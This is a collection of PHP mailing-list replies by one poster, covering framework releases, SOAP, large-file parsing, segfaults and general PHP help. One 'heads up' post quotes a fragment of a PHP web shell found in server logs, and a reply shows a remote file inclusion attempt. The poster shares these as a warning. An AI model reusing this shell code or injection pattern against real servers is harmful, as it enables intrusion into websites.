Re: [PHP] Holocoste against palestinians

2009-01-07 Thread Paul Scott
On Wed, 2009-01-07 at 22:51 -0800, It flance wrote: > The message is to webhosting companies, > This is not a web hosting company. > Israel is killing palestinian children. Some sites are are showing the fotos > of israel's holocoste against palestinians. > Now here is a link that shows to is

Re: [PHP] First steps towards unix and php

2009-01-09 Thread Paul Scott
On Fri, 2009-01-09 at 07:50 -0500, Daniel Brown wrote: > I'd take SMART or urpmi over yum as well, for the record. First choice is ./configure && make && make install, second choice is apt -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/po

Re: [PHP] First steps towards unix and php

2009-01-09 Thread Paul Scott
On Fri, 2009-01-09 at 14:53 +0200, Paul Scott wrote: > First choice is ./configure && make && make install, second choice is > apt > Even better, of course, is the: "Yo sysadmin intern! Install for me please and don't screw it up" -- Paul All

Re: [PHP] on Mapserver and php5_MapScript

2009-01-09 Thread Paul Scott
On Fri, 2009-01-09 at 14:15 -0500, Eduardo Arévalo wrote: > As I write this line is highlighted in black php5_MapScript > You should probably ask this on the UMN Mapserver lists at mapserver-us...@lists.osgeo.org but... > ; > $jStyle->outlinecolor->setRGB(200, 200, 200); You are setting an out

Re: [PHP] Re: hello

2009-01-09 Thread Paul Scott
On Fri, 2009-01-09 at 18:15 -0500, Phpster wrote: > -12C in Toronto > Meh! 30C - 35C in Cape Town, South Africa almost every day for the last month. It has been a scorcher this year! -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_serv

[PHP] ANN: Chisimba-2.1.0 release!

2009-01-16 Thread Paul Scott
The next release of the Chisimba PHP5 framework is now available (Chisimba-2.1.0). Major enhancements included in this release are: - Numerous enhancements to the database abstraction layer for increased performance - Numerous core bugfixes and enhancements - Patch descriptions added in modul

Re: [PHP] E-Mail Attachment Filename Encoding Problem

2009-02-17 Thread Paul Scott
On Tue, 2009-02-17 at 10:30 +, Richard Heyes wrote: > > The *other* white meat? > > Sorry, no idea what that means. > Cats are the other white meat. Sorry have flu, may be delirious -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_

Re: [PHP] E-Mail Attachment Filename Encoding Problem

2009-02-17 Thread Paul Scott
On Tue, 2009-02-17 at 10:19 +, Richard Heyes wrote: > There's no reason not to use it - it works for a good many people. And > a few cats too. The *other* white meat? -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaim

Re: [PHP] Strange charecters

2009-03-03 Thread Paul Scott
On Wed, 2009-03-04 at 10:09 +0530, Chetan Rane wrote: > I am using ob_start() in my application. However I am getting this error > about headers already sent. > _Any_ output will set that error off. Check for Notices, Warnings, echo's, prints and var_dumps in your code. -- Paul -- PHP General

Re: [PHP] User Authentication across multiple server

2009-03-06 Thread Paul Scott
On Fri, 2009-03-06 at 10:09 +0100, Edmund Hertle wrote: > The only method which possibly could work and came to my mind was using > somehow $_GET parameter for username and password (encrypted). Set a cookie and crypt that (RC4 works well) and then check for the cookie on both sites. Kind of like

Re: [PHP] PHP MySQL 500 Internal Error

2009-06-19 Thread Paul Scott
On Thu, 2009-06-18 at 22:10 -0400, Shawn Simmons wrote: > Wrote a small script to connect to the MySql database. Tried to run the > script (http://localhost/dbscript.php) and I get a 500 Internal Server > error. I have been up and down the web for two days looking for a solution > and I am com

Re: [PHP] Writing to a file

2009-07-03 Thread Paul Scott
Jason Carson wrote: > How would I go about writing stuff to a file but in between the > tags? > http://www.php.net/file_put_contents -- Paul http://www.paulscott.za.net/ http://twitter.com/paulscott56 http://avoir.uwc.ac.za -- PHP General Mailing List (http://www.php.net/) To unsubscribe, vi

Re: [PHP] Re: Epiphany - a salute to APC

2009-07-04 Thread Paul Scott
Eddie Drapkin wrote: > if you want a pure opcode cache, APC is a great choice. > >> you think this is similar to http://www.danga.com/memcached/ or you think >> this method would be faster ? Which do you say would be the greatest >> benfit ? >> A simple rule of thumb that I use is: If you have on

Re: [PHP] PHPBB Speed Issues

2009-07-31 Thread Paul Scott
Ashley Sheridan wrote: > I've optimised the images in the template, enabled the GZ compression, > and it's only improved the speed by a mere fraction. I have noticed that > the page itself doesn't display until after this delay, so I was > guessing that I could maybe force the buffer to flush at ke

Re: [PHP] Re: Dan Brown

2009-08-03 Thread Paul Scott
Daniel Brown wrote: > (behind schedule) and distribute refunds to clients. Having a baby is > difficult enough; having a baby and a career is more difficult; having > a baby and working as a freelancer or owner/operator of a company is > the epitome of masochism --- I'm learning that quite thoroug

Re: [PHP] Exceptions: How much is too much.

2007-01-04 Thread Paul Scott
On Fri, 2007-01-05 at 00:44 -0500, Craige Leeder wrote: > The question is: How much is too much. Should I use Exceptions to > handle all of my error reporting/triggering? How about catching them? > I mean, if I'm using Exceptions for all of my error handling, I could > easily end up wrapping my en

[PHP] REST, SOAP or XML-RPC?

2007-02-04 Thread Paul Scott
I am developing a webservice like module for our framework that will enable downloads of module code into the framework modules from a remote server. Basically what this should do is: 1. User requests a list of available stable modules from server 2. User clicks on install from the returned list

Re: [PHP] Re: REST, SOAP or XML-RPC?

2007-02-04 Thread Paul Scott
On Sun, 2007-02-04 at 23:00 -0600, Gregory Beaver wrote: > Why not use PEAR itself? The last chapter of my book > (http://www.packtpub.com/book/PEAR-installer) is a step-by-step tutorial > on designing just such a module that would allow downloads of module > code from a remote server. It also i

Re: [PHP] REST, SOAP or XML-RPC?

2007-02-04 Thread Paul Scott
On Sun, 2007-02-04 at 23:00 -0600, Richard Lynch wrote: > Presumably one can choose to install only some of the options. > > Of course, now you're into the wonderful land of module > dependencies... Good luck! > Module dependencies are sorted out by the framework already. We have modelled our

Re: [PHP] Any Internal search engine in PHP?

2007-02-10 Thread Paul Scott
On Sat, 2007-02-10 at 09:47 -0500, tedd wrote: > >I had been trying some search engines for internal searches within my > >website. I tried google co-op which failed as the results were showing on > >supplemental index. The one provided by cpanel does not show more than 2-3 > >URLs in results. Ple

Re: [PHP] Question on Portfoilo's

2007-04-09 Thread Paul Scott
On Mon, 2007-04-09 at 22:45 -0300, Davi wrote: > Em Segunda 09 Abril 2007 22:36, Larry Garfield escreveu: > You can't live for and from only open source projects... Why not? I do... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail

Re: [PHP] php5 oop question

2007-04-11 Thread Paul Scott
On Wed, 2007-04-11 at 23:22 -0700, Jim Lucas wrote: > Has anybody else seen this style of syntax? > http://5ive.uwc.ac.za/index.php?module=blog&action=viewsingle&postid=init_8059_1163957717&userid=5729061010 I don't think that its really useful for anything, except maybe creating overly complex

Re: [PHP] Cheap Ping

2007-04-12 Thread Paul Scott
On Thu, 2007-04-12 at 23:16 -0600, [EMAIL PROTECTED] wrote: > Any other suggestions? cURL. http://www.php.net/curl That will allow all the configs and stuff to be set, and you get the response in a neat variable that you can then test. --Paul All Email originating from UWC is covered by disc

Re: [PHP] PHP RAD framework

2007-04-13 Thread Paul Scott
On Fri, 2007-04-13 at 22:26 +0800, Man-wai Chang wrote: > Any recommendation? Smarty Templates help a bit, but still need lots of > coding... http://avoir.uwc.ac.za All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm --

Re: [PHP] Happy New Year All!

2009-12-31 Thread Paul Scott
Bipper Goes! wrote: > return ThankYou; > > > Oh god I think I blowed it up. I prefer: http://www.paulscott.za.net http://twitter.com/paulscott56 http://avoir.uwc.ac.za All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal

Re: [PHP] Happy New Year All!

2009-12-31 Thread Paul Scott
--=neXtPaRt_1262280971 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Robert Cummings wrote: > > Oh dear... that's terribly inefficient... Here's a better stab: True, but my design criteria included that it needed to fit into a 140 char tweet too... -- -- Paul ht

Re: [PHP] Intentionally generate an "Internal Server Error"

2011-08-07 Thread Paul Scott
On Sun, 2011-08-07 at 07:30 +0100, Ashley Sheridan wrote: > Quickest way I know of is to mess up an .htaccess file! Another good way to do it on shared hosts is to give a file incorrect permissions and try and access it -- -- Paul http://www.paulscott.za.net http://twitter.com/paulscott56 http

Re: [PHP] Critical Error

2012-03-28 Thread Paul Scott
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 28/03/2012 17:59, Karl James wrote: > > MYSQL: Duplicate entry for '0' for key 1. > > MYSQL: Insert Error - Duplicate entry '0' for key 1,. Simply means that you are trying to insert a database entry into your database table that already exists,

Re: [PHP] Need PHP & Web Developer in So Cal

2012-03-28 Thread Paul Scott
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 28/03/2012 18:04, Michael Frankel wrote: > Hi - > > I am looking for a reliable, experienced PHP / Web developer or > development company to assist me with one of my long-time clients. > I need someone who has experience with all the following > te

Re: [PHP] Web Service with PHP4 suggestions wanted.

2007-08-16 Thread Paul Scott
On Thu, 2007-08-16 at 09:55 +0200, Mattias Hakansson wrote: > So I request some suggestions from any one that has experience with this > on what web service library/extension you would chose with PHP 4 ? > I read about nuSOAP but it seems they are not any longer maintaining the > source ? since

Re: [PHP] PHP and SOAP calls

2007-08-23 Thread Paul Scott
On Fri, 2007-08-24 at 07:55 +0200, Angelo Zanetti wrote: > I have been using nusoap to development a client that makes SOAP calls > to a server. I have however been stuck on a small issue but can't seem > to solve it and therefore I need to relook at using another package to > get a solution.

[PHP] Chisimba Framework Release

2007-08-31 Thread Paul Scott
The next release of the Chisimba PHP5 framework is now available. Major enhancements included in this release are: - Memcache support - Better caching of language items - Improved database performance - Bug fixes - Better code documentation - API docs - First draft of the Chisimba Book fo

Re: [PHP] Using PHP to determine if user has Java installed

2007-09-05 Thread Paul Scott
On Wed, 2007-09-05 at 20:41 -0400, tedd wrote: > >Java Runtime Environment == Java > >JavaScript != Java > > How about something like: if ( navigator.javaEnabled() ) { alert('JRE is installed!'); window.location="page_with_a_JAVA_applet"; } else { alert('JRE is not installed!');

[PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
I have a very large text file that gets dumped into a directoory every now and then. It is typically around 750MB long, at least, and my question is: What is the best method to parse this thing and insert the data into a postgres db? I have tried using file(), fget*() and some others, all with l

RE: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Thu, 2007-09-20 at 12:50 +0100, Edward Kay wrote: > In addition to Martin's good suggestions (and also assuming you're running > php-cli via cron), you could use nice to stop it consuming too many > resources: > This is the current approach that I am taking, was just really wondering if there

RE: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Thu, 2007-09-20 at 08:03 -0400, Robert Cummings wrote: > Post some samples of the data you are parsing and a sample of the code > you've written to parse them. If you're parsing 750 megs of data then > it's quite likely you could squeeze some performance out of the parse > routines themselves.

Re: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Thu, 2007-09-20 at 09:54 -0300, Martin Marques wrote: > If not, you should just use the COPY command of PostgreSQL (you are > using PostgreSQL if I remember correctly) or simply do a bash script > using psql and the \copy command. > Unfortunately, this has to work on all supported RDBM's -

Re: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Fri, 2007-09-21 at 15:51 +1000, Chris wrote: > (Personally I'd use perl over php for processing files that large but > that may not be an option). Thanks for all of the suggestions, I seem to have it working quite well now, although the client has just contacted me and said that they had "mad

Re: [PHP] Very Large text file parsing

2007-09-20 Thread Paul Scott
On Fri, 2007-09-21 at 08:34 +0200, Paul Scott wrote: > Thanks to all for the suggestions - I now have to figure out the best > way to manipulate every single record in that table (now over 6.5 > million rows) to add in a field (RDBMS function in C - so much > easier)... > Oh,

Re: [PHP] Very Large text file parsing

2007-09-21 Thread Paul Scott
On Fri, 2007-09-21 at 08:42 +0200, Per Jessen wrote: > Isn't that just an ALTER ? Its a little more complex than that, as I have to actually create WKB from the data, so no, not just an ALTER unfortunately. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/

Re: [PHP] Data request

2007-09-24 Thread Paul Scott
On Mon, 2007-09-24 at 14:14 +0100, Stut wrote: > Have you tried Google? It knows a lot about most things and a little > about the rest. Also try have a look at the models used in flightgear - http://www.flightgear.org --Paul All Email originating from UWC is covered by disclaimer http://www.

Re: [PHP] Re: Data request

2007-09-25 Thread Paul Scott
On Tue, 2007-09-25 at 09:17 -0400, Robert Cummings wrote: > Oh sure, and now when I'm searching for "shit" I'll get all these > Henry's cat references *bleh*. > Well then why not tie in "coprophilia" as well? ugh. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.a

Re: [PHP] SOAP in PHP on very restricted host?

2007-09-26 Thread Paul Scott
On Wed, 2007-09-26 at 13:26 +0900, David Christopher Zentgraf wrote: > But I just found out about NuSOAP (http://dietrich.ganx4.com/ > nusoap/), which seems to be what I'm looking for, a no-strings- > attached SOAP implementation. I'm trying my luck with this one for > now. :) If you are usin

Re: [PHP] languages and PHP

2007-09-27 Thread Paul Scott
On Thu, 2007-09-27 at 12:15 +0200, Angelo Zanetti wrote: > What are the implications of having a site that has many different > languages, including latin and non latin characters? Keep everything as universal (UTF-8) as possible, and make sure that you code for right-to-left languages as well.

Re: [PHP] error messages

2007-10-04 Thread Paul Scott
On Thu, 2007-10-04 at 22:38 -0700, tbt wrote: > I'm a newbie to php and i would like to know a way of viewing runtime errors > on the browser. Currently when an error occurs nothing is displayed on the > browser. Is there any way of viewing all error messages on the browser > itself. > You can u

[PHP] evil script in server logs (Heads Up)

2007-10-04 Thread Paul Scott
I am taking a quick look through the access logs on our dev box, and came across this little nasty that was trying to execute itself as a XSS attack(?) "; echo "SysOSx:$ker"; echo "SysOSx:$osx"; if ($osx == "WINNT") { $xeQt="ipconfig -a"; } else { $xeQt="id"; } $hitemup=ex($xeQt); echo $hitemup;

Re: [PHP] error messages

2007-10-05 Thread Paul Scott
On Fri, 2007-10-05 at 00:32 -0700, tbt wrote: > I added the following lines to the top of my script but still no error > messages show up on the browser. > When a php error occurs the entire page is still shown blank. > Is your script *supposed* to output something? --Paul All Email originati

Re: [PHP] evil script in server logs (Heads Up)

2007-10-05 Thread Paul Scott
On Fri, 2007-10-05 at 07:38 -0600, Ashley M. Kirchner wrote: > Quarantine Messages: > Message quarantined because of virus: PHP.Shell. > > Someone saw it somewhere and reported it... Don't you love Free Software? ;) --Paul All Email originating from UWC is covered by discla

Re: [PHP] evil script in server logs (Heads Up)

2007-10-05 Thread Paul Scott
On Fri, 2007-10-05 at 11:29 -0400, Daniel Brown wrote: > Yeah, honestly I wasn't sure if it was an injection attack or if > those URLs were referrers in the logs. OK sorry if I wasn't 100% clear here, but the logs showed up something like: http://fsiu.uwc.ac.za/index.php?module=http://www.go

Re: [PHP] Please recommend blog script

2007-10-07 Thread Paul Scott
On Sun, 2007-10-07 at 09:35 +0200, Niels wrote: > Basically I want to integrate articles into existing pages, something like > > > What you want is a blog that exposes it's functionality as an API (MetaWebLog or ATOM). Most do that, including the Chisimba one (see http://fsiu.uwc.ac.za as an

Re: [PHP] combining 2 arrays

2007-10-16 Thread Paul Scott
On Tue, 2007-10-16 at 16:42 +0200, Ladislav Andel wrote: > arrayDB1 = array(array('8', 'SER'), array('5','Asterisk')) > > When finished then it starts reading from second DB > where I would get > > arrayDB2 = array(array('6', 'XIP'), array('4','Asterisk')) > > > Is there any function where I

Re: [PHP] Ant in php

2007-10-25 Thread Paul Scott
On Thu, 2007-10-25 at 02:25 -0700, DCVer wrote: > is this a good idea to use Ant with PHP or is there some similar tool to > Ant, that works fine with PHP? Thanks in advance. What you really want to look at is Phing, not Ant. It is very similar and I use it extensively for my project(s). --Paul

Re: [PHP] Maximum function nesting level of '100' reached

2007-10-26 Thread Paul Scott
On Fri, 2007-10-26 at 12:52 +0200, Jochem Maas wrote: > since when is there an arbitrary maximum recursion limit??? Since forever... ;) I thought that it was at 60 though... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disc

[PHP] Strange warning: preg_match compilation warning

2007-11-05 Thread Paul Scott
Does anyone have any idea as to why the following line is generating a warning? } else if (preg_match('/^([0-9]{4})-([0-9]{4})? (AVOIR \)$/', $content) === 0) { The warning text is as follows: Warning: preg_match(): Compilation failed: missing ) at offset 34 in ... Offset 34 seems to be the op

Re: [PHP] Strange warning: preg_match compilation warning

2007-11-05 Thread Paul Scott
On Mon, 2007-11-05 at 12:08 -0500, Daniel Brown wrote: > You canceled-out the final closing param with a backslash here: > (AVOIR \) > Oh geez, thanks! How embarrassing... I suppose that's what you get for coding on long haul flights... Thanks! --Paul All Email originating from

Re: [PHP] Can I make a process run in background?

2007-11-05 Thread Paul Scott
On Mon, 2007-11-05 at 19:20 +0100, Luca Paolella wrote: > I want the bot to run a process in background (a periodic message, > for example) while listening for events (like a user joining a > channel or using a certain command) and consequentially executing the > corresponding functions, i

Re: [PHP] PHP 5.1 memory leak?

2007-11-07 Thread Paul Scott
On Wed, 2007-11-07 at 15:21 -0200, Egon Hilgenstieler wrote: > I have a really complex report which uses a tree-like structure of data > base objects. Usually it consumes a lot of memory but that it is not > really an issue because it is an intranet application with few users and > a dedicated ser

[PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
All of a sudden, I am getting a bunch of segfaults in PHP. The Apache2 error log simply says: [Wed Nov 14 11:43:36 2007] [notice] child pid 10982 exit signal Segmentation fault (11) and if I run the script through PHP-CLI it outputs the expected HTML, but with a Segmentation Fault notice at the

Re: [PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote: > Backtrace? > backtrace #0 0xb691f310 in ?? () #1 0xb7874705 in CRYPTO_lock () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #2 0xb78e057d in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8 #3 0x0009 in ?? () #4 0x0001 in ?? () #5

Re: [PHP] Segfault strangeness

2007-11-14 Thread Paul Scott
On Wed, 2007-11-14 at 14:17 +0100, Per Jessen wrote: > OK, so quite a few things could have changed - in PHP or in apache. > However, you said you reproduced the problem using CLI, so we're > talking PHP or something underlying. It looks as though libcrypto has gotten itself into a knot. I did

Re: [PHP] [NEWBIE GUIDE] For the benefit of new members

2007-11-15 Thread Paul Scott
On Thu, 2007-11-15 at 16:45 -0500, Daniel Brown wrote: > > 3. There is a searchable archive of the mailing list discussion at > > http://phparch.com/mailinglists. or at http://fsiu.uwc.ac.za/index.php?module=blog&action=randblog&userid=9914070612 if the above is down, as it is for me right now.

Re: [PHP] PHP RFC # 0001 --- List Etiquette [SOLVED]

2007-11-28 Thread Paul Scott
On Thu, 2007-11-29 at 09:24 +0800, Crayon Shin Chan wrote: > > This has been the expected behavior (adding [SOLVED]) for a long time > > though it does not occur as often as it should. It has been in the > > NEWBIE GUIDE for a long time and has been a de-facto standard on IT or > > computer relate

Re: [PHP] Structured Code vs. Performance

2007-11-29 Thread Paul Scott
On Thu, 2007-11-29 at 13:51 +0100, Jochem Maas wrote: > okay, but I was just paraphrasing the man Rasmus, although I admit I > may > have misinterpreted (or misundersstood the 'why') - thought I pretty > sure > he has written on a number of occasions that code like the following > sucks > for op-c

Re: [PHP] Software Help

2007-12-03 Thread Paul Scott
On Mon, 2007-12-03 at 14:55 -0500, Mike Roberts wrote: > My name is Mike Roberts, and I am a recruiter with Corporate Staffing > Services in Bala Cynwyd, Pennsylvania. I need help finding qualified > candidates who have experience with PHP ( whole lamp environment). Out > of respect, I am not incl

Re: [PHP] Professional inquiry for you freelancers

2007-12-05 Thread Paul Scott
On Wed, 2007-12-05 at 23:33 -0500, Steve Finkelstein wrote: > Basically what I'm asking is, am I going to be end up being a jack of > all trades, master of none, if I continue pursuing design AND > development? Is there plenty of work out there for folks who just > stick to development? > It all

Re: [PHP] Profiling PHP App

2007-12-19 Thread Paul Scott
On Thu, 2007-12-20 at 11:21 +0700, php mail wrote: > Is there any tool to profiling PHP app ? Yes, there are a few. The best that I have found anyway, is Xdebug 2 (http://pecl.php.net/xdebug). It can also integrate nicely with PHPUnit as well to do code coverage as well as make your life generall

[PHP] Chisimba Release

2007-12-20 Thread Paul Scott
The next release of the Chisimba PHP5 framework is now available. Major enhancements included in this release are: - Better APC support - Improved database performance - Bug fixes - Better code documentation - XML-RPC API for Video conversions module - XML-RPC API for the Active Dynamic Mi

Re: [PHP] XAdES in PHP

2008-01-14 Thread Paul Scott
On Mon, 2008-01-14 at 10:59 -0600, Richard Lynch wrote: > After a quick Google to find out what the Hades is XAdES, I'd suggest > you look for a C implementation and link it in as an extension. There are a couple of implementations of XMLDSIG in PHP that I have seen, although none really up to sc

Re: [PHP] Re: Match anything between two " that is not a " except if it is escaped...

2008-01-18 Thread Paul Scott
On Fri, 2008-01-18 at 12:28 +0200, Nikolay Ananiev wrote: > This is for double quotes: > '/"[^"]*(?:.[^"]*)*"/' > > this is for single: > '/\'[^\']*(?:.[^\']*)*\'/' > > i took these from the smarty compiler class. Has anyone started a commonly used PCRE Regexp library? I

Re: [PHP] Re: Posting Summary for Week Ending 18 January, 2008: php-general@lists.php.net

2008-01-20 Thread Paul Scott
On Sun, 2008-01-20 at 10:04 -0500, Daniel Brown wrote: > That would actually be pretty interesting. Since we've all been > known to beat a thread to death, it certainly wouldn't be difficult to > collect the data. FWIW, I would like to continue to see these postings, as mailing list metrics

Re: [PHP] Digital Downloads and Scale

2008-01-20 Thread Paul Scott
On Mon, 2008-01-21 at 02:43 +0100, Jochem Maas wrote: > use simple code, optimize your db and go and read up on everything you can > find > about optimizing [download] connections on your webserver ... these spring to > mind > In addition to optimizing code and db (I presume that includes using

Re: [PHP] performance/load testing ...

2008-01-21 Thread Paul Scott
On Mon, 2008-01-21 at 10:50 +0100, Jochem Maas wrote: > Does anyone have any tips, urls, advice as to how to start > going about creating something like a 'test suite' for testing > high load performance of a website? > I went through a similar headache recently, and looked at a whole whack of t

Re: [PHP] Posting Summary for Week Ending 25 January, 2008: php-general@lists.php.net

2008-01-23 Thread Paul Scott
On Thu, 2008-01-24 at 01:13 +0100, Jochem Maas wrote: > stats while I'm at it ... I've been busy wracking my brain trying to > figure out > the setup for a load-balanced configuration for one of my major > clients ... at least > a system capable of migrating to loadbalancing ... global file system

Re: [PHP] Getting part of string matched with regular expressions

2008-01-27 Thread Paul Scott
On Mon, 2008-01-28 at 14:28 +0900, Teck wrote: > I was using preg_replace for this, and try to delete (i.e., replace > the non-matched part with an empty string) the second part, but I > can't make it work. Rather use preg_match_all() as that will produce an array of values, with the first va

Re: [PHP] Getting nuequiz pro wo to work in php5

2008-01-28 Thread Paul Scott
On Mon, 2008-01-28 at 11:49 -0500, Nathan Nobbe wrote: > ive always thought about trying moodle for this purpose. Not to rag Moodle or anything, but trying to customize that thing is a nightmare. Besides, if you are willing to try out Chisimba, you can always ask me :) There is a test install at

Re: [PHP] Posting Summary for Week Ending 25 January, 2008: php-general@lists.php.net

2008-01-28 Thread Paul Scott
On Mon, 2008-01-28 at 16:43 +0100, Zoltán Németh wrote: > where is the stats for last week? the experiment is over or what? ;) > Jochem already did it for this week, so I think Dan is taking the week off. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/port

Re: [PHP] how dod you get to do multiple mysql queries concurrently?

2008-01-28 Thread Paul Scott
On Mon, 2008-01-28 at 12:29 -0600, Richard Lynch wrote: > >>Back on the mysql side of things, try using geometry columns rather > >>than numerical primary keys, with spatial indexes.. it's a MASSIVE > >>performance upgrade (I've cut 5 second queries down to 0.005 by using > >>geo columns) > > > >

Re: [PHP] Getting nuequiz pro wo to work in php5

2008-01-28 Thread Paul Scott
On Mon, 2008-01-28 at 08:35 -0800, Jim Lucas wrote: > Well, since this quiz app doesn't work. Does anybody have suggestions > on a good tool to use for in-house/office training? Sort of like an > employee initial training or evaluation quiz application. Guess it > doesn't have to be just for

Re: [PHP] how to display photos of the day?

2008-01-29 Thread Paul Scott
On Tue, 2008-01-29 at 18:33 +0800, jeffry s wrote: > i have a mysql table contain data about 1000 rows. i want to display any of > the photos randomly > and it is fixed for one day. > MySQL has a rand() function, so you could bomb that off as a select once a day on cron or something, or you cou

Re: [PHP] How can I do this -- method chaining

2008-01-29 Thread Paul Scott
On Tue, 2008-01-29 at 14:17 -0500, Eric Butera wrote: > http://www.travisswicegood.com/index.php/2007/10/26/fluent_api_here_i_come > Looks like a repurpose of one of my posts: http://fsiu.uwc.ac.za/index.php?module=blog&action=viewsingle&postid=gen9Srv59Nme5_7092_1182404204 --Paul All Email

Re: [PHP] how dod you get to do multiple mysql queries concurrently?

2008-01-31 Thread Paul Scott
On Fri, 2008-02-01 at 03:40 +0100, Jochem Maas wrote: > I for one would really like to see a concrete example of this kind of > use of geometry columns and spacial indexes as an alternative to the stand > integer based primary keys. On one of my local postGIS tables: CREATE INDEX k1 ON kanag

[PHP] Release candidate: Chisimba-2.0.0RC1

2008-01-31 Thread Paul Scott
The next major release of the Chisimba PHP5 framework is now available. Major enhancements included in this release are: - Remote downloads of modules through web interface - Upgrades of modules via package server in modulecatalogue - Skin downloads via remote package server - Updates to mod

Re: [PHP] how dod you get to do multiple mysql queries concurrently?

2008-02-01 Thread Paul Scott
Did anyone actually get this mail? More concrete example? What would you like to see? I suspect that some of my mail is getting dropped :( --Paul On Fri, 2008-02-01 at 06:33 +0200, Paul Scott wrote: > On Fri, 2008-02-01 at 03:40 +0100, Jochem Maas wrote: > > > I for one would re

Re: [PHP] Re: [Slightly OT] Apple MacBook MAMP and Logic

2008-02-01 Thread Paul Scott
On Fri, 2008-02-01 at 10:58 +, Colin Guthrie wrote: > That's just how sudo works tho' right? You can configure sudo to not > require a password for certain commands run by certain users. Not sure > how it works on the mac as there may be some kind of wrapper but I'm > sure there would be a way

Re: [PHP] array iteration vs. ArrayIterator

2008-02-01 Thread Paul Scott
On Fri, 2008-02-01 at 11:11 -0600, Greg Donald wrote: > Thanks for the benchmark. > Yes, thanks! It has just confirmed what I have been experiencing as well. I am busy converting a static site to a Chisimba CMS based site at the moment with 43 000 odd static, frontpage generated HTML pages. I

Re: [PHP] Calling All Opinionated ******** ....

2008-02-01 Thread Paul Scott
On Fri, 2008-02-01 at 22:18 +0100, Jochem Maas wrote: > I'd like to hear from people who have or are using ZF with regard to their > experiences, dislikes, likes, problems, new found fame and fortune, etc ... > but > only if it concerns ZF. > I have integrated a few ZF components into the Chisi

Re: [PHP] php competion

2008-02-03 Thread Paul Scott
On Sun, 2008-02-03 at 20:10 +1100, doc wrote: > come on people try you skills at > > http://www.rhwebhosting.com/comp/index.php Reworded as: Redesign our complete web presence and give us a couple of apps that we can flog to our clients, and we *may* give you a consolation prize. Yeah right.

Re: [PHP] Resetting a session variable

2008-02-03 Thread Paul Scott
On Sun, 2008-02-03 at 13:14 -0500, Ron Piggott wrote: > What is the command to reset a session variable --- essentially deleting > all of the values it contains? Ron Assign the session to an empty array() and then use session_destroy() All Email originating from UWC is covered by disclaimer

Re: [PHP] about preg_replace, please help !

2008-02-03 Thread Paul Scott
On Sun, 2008-02-03 at 21:06 -0800, Casey wrote: > Why do you need preg_replace? > Else he fails a homework assignment? --Paul -- . | Chisimba PHP5 Framework - http://avoir.uwc.ac.za | :--

Re: [PHP] Schedule tasks from server

2008-02-04 Thread Paul Scott
On Mon, 2008-02-04 at 16:30 +0200, Pieter du Toit wrote: > Is there a way that i can schedule tasks on my webserver that will > automatically fire on a certain time and date, without anyone visiting the > website? > > This domain is hosted by a ISP and not by me. Ask your ISP if they support c

Re: [PHP] Schedule tasks from server

2008-02-04 Thread Paul Scott
On Mon, 2008-02-04 at 16:46 +0200, Pieter du Toit wrote: > I am using paradigmsolutions.co.za. I read about cronjobs, but aparently it > is only available on unix or linux hosting, is this true? Well, why not just host on *nix then? I see your site is a MS Frontpage one, but most linux based ISP

Re: [PHP] Anyone else doing PHP on Symbian?

2008-02-05 Thread Paul Scott
On Tue, 2008-02-05 at 14:44 +, George Pitcher wrote: > I've recently installed PAMP (PHP, Apache, MySQL & Python) on my Nokia N95. > I can do my development in Dreamweaver and move across to the phone and it > all works. > Sounds intruiging! Care to share some resources/links as to how to s

Re: [PHP] how dod you get to do multiple mysql queries concurrently?

2008-02-05 Thread Paul Scott
On Tue, 2008-02-05 at 11:53 -0600, Richard Lynch wrote: > This is actually pretty OT for the PHP list itself, really, unless you > want to try to implement GIS in PHP, which would be a particularly Bad > Idea (tm) due to the scale, scope, and calculations involved. > Err, sorry, but I must corre

Re: [PHP] how dod you get to do multiple mysql queries concurrently?

2008-02-05 Thread Paul Scott
On Mon, 2008-02-04 at 01:08 +0100, Jochem Maas wrote: > the column spec. what kind of geomtery column is it? and A geographical "geometry" i.e. a projected data set of Geo data. > are you using it as a primary key? or some else No, the integer gid is usually a primary key still. The geo data is

Re: [PHP] Anyone else doing PHP on Symbian?

2008-02-05 Thread Paul Scott
On Tue, 2008-02-05 at 13:29 -0500, Daniel Brown wrote: > Still debating what > device I'll get next, but I want to use it as a mobile server myself. > I had been working on a bound-for-trash PDA doing the same a while > back, but with what we'll refer to as "limited results." I think that the k

Re: [PHP] Fileinfo

2008-02-05 Thread Paul Scott
On Tue, 2008-02-05 at 22:49 -0800, Mad Unix wrote: > I did what you recommended i get the same erorr > Depending on your distro, you may have 2 php.ini files. On debian based systems there certainly are. One for Apache to use and another for cli. Check that this is not the case first, you may j

Re: [PHP] Fileinfo

2008-02-05 Thread Paul Scott
On Tue, 2008-02-05 at 23:13 -0800, Mad Unix wrote: > thanks it works now > > Libraries have been installed in: >/usr/local/src/Fileinfo-1.0.3/modules > Be sure to remember to add the extension to your php.ini now as well with an extension= line and restart your server for the changes to

Re: [PHP] Recommendation for an XML class?

2008-02-06 Thread Paul Scott
